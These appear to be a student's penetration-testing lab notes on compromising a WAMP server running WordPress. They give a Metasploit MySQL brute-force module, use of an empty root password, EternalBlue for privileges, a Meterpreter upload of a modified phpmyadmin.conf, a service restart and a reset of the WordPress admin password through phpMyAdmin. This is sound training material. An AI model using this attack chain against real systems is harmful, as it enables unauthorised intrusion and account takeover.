06. WordPress and WAMP
Brute Force MySQL
use auxiliary/scanner/mysql/mysql_login
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
exploit
Login to MySQL DB
-
Credentails:
root:NULL -
mysql -u root -p -h 10.3.31.12 -
show databases;
WAMP
-
In order to modify configuration files on a WAMP server, elevated privileges are required.
- EternalBlue via SMB is a great way to do this.
-
Location of WAMP Configuration.
cd C:\\wamp\\alias download phpmyadmin.conf- Modify rules.
-
Upload via MSF.
Automatically overwrites old file with new. ```meterpreter upload phpmyadmin.conf ``` 4. Restart Apache Service.
```meterpreter shell net stop wampapache net start wampapache ``` 3. View phpMyAdmin: `http://10.3.31.12:8585/phpmyadmin/` 
WordPress User Account Location (phpMyAdmin)
-
Databases > wordpress > wp_users -
Change Admin password:
-
Default Encryption Standard (Function):
MD5 -
Set clear password:
password123
-